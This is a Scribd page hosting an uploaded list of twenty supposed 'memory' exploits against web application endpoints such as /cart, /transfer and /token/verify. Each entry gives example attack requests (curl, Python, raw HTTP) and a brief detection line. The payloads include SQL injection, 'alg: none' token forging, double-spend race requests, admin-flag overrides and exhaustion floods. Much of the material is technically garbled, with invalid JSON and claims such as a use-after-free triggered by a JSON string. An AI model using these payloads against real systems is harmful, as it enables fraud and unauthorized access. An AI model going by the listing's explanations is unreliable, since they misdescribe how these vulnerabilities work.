0% found this document useful (0 votes)
27 views5 pages

Pointer Exploits in Web Applications

The document outlines various memory-related vulnerabilities and exploits targeting specific endpoints in web applications, including techniques like memory shadowing, use-after-free, and JSON-driven manipulation. Each vulnerability is accompanied by example exploits and detection methods to identify unauthorized changes or anomalies. The focus is on potential security risks that can lead to data corruption, unauthorized access, and system instability.

Uploaded by

tnyange909
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
27 views5 pages

Pointer Exploits in Web Applications

The document outlines various memory-related vulnerabilities and exploits targeting specific endpoints in web applications, including techniques like memory shadowing, use-after-free, and JSON-driven manipulation. Each vulnerability is accompanied by example exploits and detection methods to identify unauthorized changes or anomalies. The focus is on potential security risks that can lead to data corruption, unauthorized access, and system instability.

Uploaded by

tnyange909
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

1.

Memory Shadowing (Variable Overwriting)


Target Endpoints: /cart, /user/update, /account/balance
Exploit:
http
POST /cart HTTP/1.1
{"user": "victim", "items": [{"id":1,"price":100}], "total":100}

POST /cart HTTP/1.1


{"user": "attacker", "total":1} # Overwrites in-memory value

Detection: Monitor for unauthorized state changes between requests.

2. Memory Reuse After Free (UAF)


Target Endpoints: /api/v1/data, /file/upload
Exploit:
python
# Heap spray
[Link]("/api/v1/data", json={"data": "A"*10_000_000})
# Trigger UAF
[Link]("/api/v1/data", json={"ptr": "0xdeadbeef"})

Detection: Watch for segmentation faults or unexpected pointer behavior.

3. JSON-Driven Memory Layout Manipulation


Target Endpoints: /checkout, /payment/verify
Exploit:
json
POST /checkout
[
{"padding": "A"*1024}, // Shapes heap
{"exploit": {"offset": 0x1234}}
]

Detection: Analyze heap allocation patterns before critical operations.

4. TOCTOU via Memory Race


Target Endpoints: /transfer, /inventory/update
Exploit:
bash
# Terminal 1:
curl -X POST /transfer -d '{"from":"A","to":"B","amount":1000}'

# Terminal 2 (simultaneous):
curl -X POST /transfer -d '{"from":"A","to":"C","amount":1000}'

Detection: Check for double-spending or negative balances.


5. Memory-Based Session Pivoting
Target Endpoints: /session, /auth/token
Exploit:
http
POST /session HTTP/1.1
{"session_id": "attacker_admin", "user_id": "admin"}

Detection: Session validation bypasses in memory dumps.

6. JSON-Induced Memory Exhaustion


Target Endpoints: /api/import, /data/process
Exploit:
json
POST /api/import
{"data": {"A":1, "B":2, ... [10,000 keys] ...}}

Detection: Monitor heap usage spikes (>90% threshold).

7. Memory-Resident Config Override


Target Endpoints: /config, /admin/settings
Exploit:
http
POST /config
{"security": {"max_login_attempts": 999}}

Detection: Configuration changes without database writes.

8. Memory-Based SQL Query Tampering


Target Endpoints: /user/search, /report/generate
Exploit:
http
POST /user/search
{"query": "admin' -- ", "limit": 100}

Detection: SQL errors in memory-resident query strings.

9. Memory Cache Poisoning


Target Endpoints: /api/cache, /product/[id]
Exploit:
http
POST /api/cache
{"key": "global_config", "value": {"maintenance": false}}
Detection: Cache inconsistencies across nodes.

10. Memory-Based Cryptography Bypass


Target Endpoints: /token/generate, /encrypt
Exploit:
http
POST /token/generate
{"iv": "AAAAAAAA", "algorithm": "none"}

Detection: Predictable crypto material in memory dumps.

11. Memory Desync in Distributed Systems


Target Endpoints: /order/process, /inventory/update
Exploit:
python
# Node A
[Link]("/order/process", json={"status": "paid"})

# Node B (stale read)


[Link]("/order/status") # Returns "unpaid"

Detection: Cross-node state inconsistencies.

12. JSON-Driven Pointer Arithmetic Flaws


Target Endpoints: /api/v1/calc, /data/transform
Exploit:
json
POST /api/v1/calc
{"offset": 0xFFFFFFFF, "operation": "read"}

Detection: Memory access violations.

13. Memory-Resident JWT Race Conditions


Target Endpoints: /token/verify, /auth/check
Exploit:
http
# Request 1 (valid)
POST /token/verify
{"token": "[Link]"}

# Request 2 (modified)
POST /token/verify
{"token": "[Link]"} # Uses cached validation

Detection: Privilege escalation without re-validation.


14. Memory Pool Exhaustion
Target Endpoints: /api/batch, /data/import
Exploit:
json
POST /api/batch
{"items": [1,2,3,...,1000000]}

Detection: Failed allocations after payload.

15. Type Juggling in Comparisons


Target Endpoints: /otp/verify, /auth/2fa
Exploit:
http
POST /otp/verify
{"code": "123456 "} # vs server's 123456 (integer)

Detection: Loose comparison bypasses.

16. Memory-Based Feature Toggle Abuse


Target Endpoints: /feature/toggle, /admin/flags
Exploit:
http
POST /feature/toggle
{"beta_features": {"admin_panel": true}}

Detection: Unauthorized feature activations.

17. JSON-Induced Memory Fragmentation


Target Endpoints: /api/process, /data/transform
Exploit:
python
# Alternate large/small payloads
for i in range(1000):
[Link]("/api/process", json={"size": i%2*10_000})

Detection: Degrading performance metrics.

18. Memory Mirroring Across API Versions


Target Endpoints: /api/v1, /api/v2
Exploit:
http
POST /api/v1/data
{"malicious": "payload"} # Corrupts v2 memory
Detection: Version-specific memory corruption.

19. Memory-Based Business Rule Injection


Target Endpoints: /rules/engine, /workflow/execute
Exploit:
json
POST /rules/engine
{"condition": "[Link] == 'admin' || true"}

Detection: Rule engine bypasses.

20. Memory-Resident ML Model Poisoning


Target Endpoints: /fraud/predict, /model/update
Exploit:
json
POST /fraud/predict
{"transaction": {"amount":99999, "is_fraud":false}}

Detection: Model drift anomalies.

You might also like